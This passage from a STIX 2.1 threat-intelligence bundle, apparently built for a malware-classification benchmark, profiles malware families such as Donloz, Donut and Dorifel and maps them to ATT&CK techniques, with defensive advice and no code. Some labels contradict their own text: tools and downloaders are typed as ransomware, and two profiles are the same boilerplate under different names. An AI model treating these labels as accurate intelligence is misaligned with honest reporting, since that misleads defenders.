      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b61e1616-223b-5d2b-96a8-663f11ff3e33",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donise exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dd03de8-f44c-5452-8cb1-5177e1bb84fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b61e1616-223b-5d2b-96a8-663f11ff3e33",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donise exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--832b8669-165a-5d4c-b2c6-2a7f263b58e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Donloz",
      "description": "<h3>Executive Summary</h3>\nDonloz is a malicious downloader Trojan engineered to stealthily infiltrate a target system, establish a hidden foothold, and subsequently download and execute secondary malware payloads. It acts as a critical intermediary in complex infection chains, often preceding the deployment of highly destructive threats like ransomware or banking trojans.\n\n<h3>Infection Vector and Execution Flow</h3>\nDonloz is typically distributed via highly targeted spear-phishing campaigns. The emails utilize socially engineered lures (e.g., fake invoices, shipping notices) containing malicious macro-enabled Microsoft Office documents or ZIP archives containing heavily obfuscated scripts (VBScript or JavaScript).\n\nUpon execution of the initial lure, Donloz is deployed onto the system. Its primary operational phases include:\n<ul>\n<li><strong>Reconnaissance and Evasion:</strong> Donloz immediately checks its environment to ensure it is not running within a malware analysis sandbox or virtual machine. It may also check the system locale to avoid infecting targets in specific geographic regions.</li>\n<li><strong>C2 Communication:</strong> The Trojan reaches out to a hardcoded or dynamically generated command-and-control (C2) server. It transmits a basic fingerprint of the infected machine (OS version, installed antivirus) to the attacker.</li>\n<li><strong>Payload Delivery:</strong> Based on the transmitted fingerprint, the C2 server instructs Donloz to download a specific secondary payload. This payload is often injected directly into the memory of a legitimate process (like `explorer.exe`) to evade file-based detection.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Donloz infection indicates a severe perimeter breach. While the Donloz executable itself may not directly steal data, its successful execution guarantees that a secondary, potentially catastrophic payload is either imminent or already active on the network.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Advanced EDR Detection:</strong> Configure EDR platforms to monitor for anomalous parent-child process relationships, specifically office applications (`winword.exe`, `excel.exe`) spawning command shells (`cmd.exe`) or PowerShell, which is indicative of a Donloz downloader script executing.</li>\n<li><strong>Network Isolation:</strong> Immediately isolate the affected endpoint to interrupt the Donloz C2 communication and prevent the download of the secondary payload.</li>\n<li><strong>Comprehensive Sweeps:</strong> A standard antivirus scan is insufficient. Perform a deep forensic sweep to locate the Donloz persistence mechanisms (registry keys) and identify/remove the specific secondary payload it downloaded.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Downloader.Donloz",
        "Trojan.Donloz",
        "Win32/Donloz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Donloz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/donloz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b434911-b923-541c-b9ca-967ccea4d4f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--832b8669-165a-5d4c-b2c6-2a7f263b58e0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donloz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6890c09b-bd46-53e1-8161-6287afba007c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--832b8669-165a-5d4c-b2c6-2a7f263b58e0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donloz exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b2701a0-55ee-5fbe-9a01-acaadc421558",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--832b8669-165a-5d4c-b2c6-2a7f263b58e0",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donloz exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a07c037a-3967-51b9-b84d-cf8a6bdc1de5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Donn",
      "description": "<h3>Executive Summary</h3>\nDonn is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDonn is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Donn operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Donn ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Donn receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Donn infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Donn executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Donn frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Donn",
        "Downloader.Donn",
        "Win32/Donn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Donn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/donn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05b185e5-9fbe-5d08-8c43-08ee9c59c2a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07c037a-3967-51b9-b84d-cf8a6bdc1de5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c103875-d92c-599f-97f2-970d44cbf664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07c037a-3967-51b9-b84d-cf8a6bdc1de5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2d09acf-968a-5263-a127-d8db33e68b4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07c037a-3967-51b9-b84d-cf8a6bdc1de5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donn exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1f0c6fa5-67d1-5e6b-a864-eb3476baa431",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Donut",
      "description": "<h3>Executive Summary</h3>\nDonut is a highly sophisticated, open-source offensive security framework designed to generate position-independent shellcode from .NET, VBScript, JScript, and standard PE (Portable Executable) files. While originally developed for legitimate penetration testing and Red Team operations, Donut is heavily abused by Advanced Persistent Threat (APT) groups and ransomware operators to facilitate highly evasive, in-memory execution of malicious payloads.\n\n<h3>Technical Architecture and Exploitation</h3>\nDonut is not malware itself; rather, it is a tool used by attackers to obfuscate and deliver their actual malware (e.g., Cobalt Strike beacons, Mimikatz, or custom RATs).\n\nThe core functionality of Donut involves:\n<ul>\n<li><strong>Shellcode Generation:</strong> The attacker uses the Donut framework to convert their primary executable payload (e.g., a .NET assembly or a compiled C++ binary) into raw, position-independent shellcode.</li>\n<li><strong>AMSI Bypass:</strong> Donut is specifically engineered to bypass the Windows Anti-Malware Scan Interface (AMSI) and Windows Defender Application Control (WDAC). The generated shellcode often includes built-in routines to unhook or patch these defensive APIs in memory before executing the primary payload.</li>\n<li><strong>In-Memory Execution:</strong> The resulting Donut shellcode is typically injected into a legitimate, running process (process hollowing or thread hijacking) via a simple dropper. Because the shellcode executes entirely in memory (RAM) without dropping the original executable to the hard drive, it effectively bypasses traditional, file-based static antivirus scanning.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe detection of Donut-generated shellcode indicates a sophisticated, targeted attack utilizing advanced evasion techniques. It allows threat actors to silently load powerful post-exploitation tools, facilitating rapid privilege escalation, credential dumping, and lateral movement while blinding local security sensors.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Behavioral EDR Monitoring:</strong> Static scanning is highly ineffective against Donut. Defenses must rely on advanced Endpoint Detection and Response (EDR) solutions configured to monitor for cross-process memory injection, unusual thread creation within system processes, and anomalous API usage (e.g., `CreateRemoteThread`, `VirtualAllocEx`).</li>\n<li><strong>AMSI Monitoring:</strong> Ensure EDR solutions are actively monitoring for attempts to patch or unhook the AMSI functions (e.g., `AmsiScanBuffer`).</li>\n<li><strong>Memory Forensics:</strong> When a suspicious process is identified, responders must capture and analyze a live memory dump to extract the injected Donut shellcode and reverse-engineer the underlying payload.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Donut",
        "Tool.DonutShellcode",
        "Riskware.Donut"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Donut",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/donut"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4693f931-ccad-5251-aec5-0674f9125fe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f0c6fa5-67d1-5e6b-a864-eb3476baa431",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donut exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ee82890-6dd3-502a-973d-93fec6b9ec78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f0c6fa5-67d1-5e6b-a864-eb3476baa431",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donut exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5f137302-ed51-5f7c-b7d8-8bc4ace0861b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.005: Obfuscated Files or Information: Indicator Removal from Tools",
      "description": "MITRE ATT&CK Technique T1027.005 (Obfuscated Files or Information: Indicator Removal from Tools) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.005",
          "url": "https://attack.mitre.org/techniques/T1027/005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--daaae7e6-c00a-5e95-8543-c22b09d6edc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f0c6fa5-67d1-5e6b-a864-eb3476baa431",
      "target_ref": "attack-pattern--5f137302-ed51-5f7c-b7d8-8bc4ace0861b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donut exhibits technique T1027.005 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fd03752-6d40-56be-99c7-4eae4697364d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f0c6fa5-67d1-5e6b-a864-eb3476baa431",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donut exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Doqv",
      "description": "Trojan:Win32/Doqv is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Doqv</b><br>To an end-user, a Doqv infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Doqv is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Doqv is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Doqv frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Doqv reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Doqv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/doqv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92471b1d-69b3-5456-b8d6-5b3f41843b14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doqv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--341afd67-11b8-5c84-98ad-4d50cf98669b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doqv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e0d89ee-c7df-5d98-b519-41fef34841d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doqv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1ad63d5-3f30-5899-ab21-9ddba94bc160",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doqv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a642ce11-37e2-5064-9ee8-af831bcace5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31881739-65cc-53f5-b0fd-a9c8893706f7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doqv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82c6254d-849d-5d9f-ba65-6a6add9ce71b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dorgam",
      "description": "<h3>Executive Summary</h3>\nDorgam is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDorgam is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dorgam operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dorgam ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dorgam receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dorgam infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dorgam executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dorgam frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dorgam",
        "Downloader.Dorgam",
        "Win32/Dorgam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dorgam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dorgam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df38d11e-583e-5b93-adf9-498307e4ee5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c6254d-849d-5d9f-ba65-6a6add9ce71b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorgam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10759fe7-f832-5c0e-be04-5b146c615f9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c6254d-849d-5d9f-ba65-6a6add9ce71b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorgam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfef0ffd-0f53-549f-a63c-384bf7d6ce05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c6254d-849d-5d9f-ba65-6a6add9ce71b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorgam exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dorifel",
      "description": "Dorifel (also known as Quervar and classified across antivirus vendors under signatures including Trojan:Win32/Dorifel, Virus:Win32/Dorifel.A, and Worm:Win32/Dorifel) is a landmark polymorphic file infector, worm, and banking downloader first discovered in 2012 targeting European financial and government networks. Propagated via spearphishing emails containing malicious Word documents, network shares, and removable USB drives, Dorifel infects existing Microsoft Office documents (Word .doc and Excel .xls) and executable files. It prepends or encrypts original file content, embedding a malicious loader stub so that opening a legitimate document executes the trojan. Dorifel establishes encrypted communications with remote command-and-control servers, downloading secondary banking trojans such as Citadel and Zeus to capture financial credentials. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dorifel",
        "Virus:Win32/Dorifel",
        "Worm:Win32/Dorifel",
        "Win32/Quervar",
        "Virus:Win32/Dorifel.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dorifel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dorifel"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbe4fda1-5a27-579e-857d-c354f058e4f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorifel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56663afc-351f-572f-935a-b53430edc538",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorifel exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbefe248-7abb-59c3-8345-9c6b8832c183",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorifel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4742e3a1-62e4-5111-a80f-6328d70bda2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorifel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a60e8c5-b84e-5f62-b529-3840648c46a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe984afa-598c-560c-90f4-4a428dccf57a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dorifel exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f172d4d0-bd8c-5e82-8081-2b938f54be81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dorkbot",
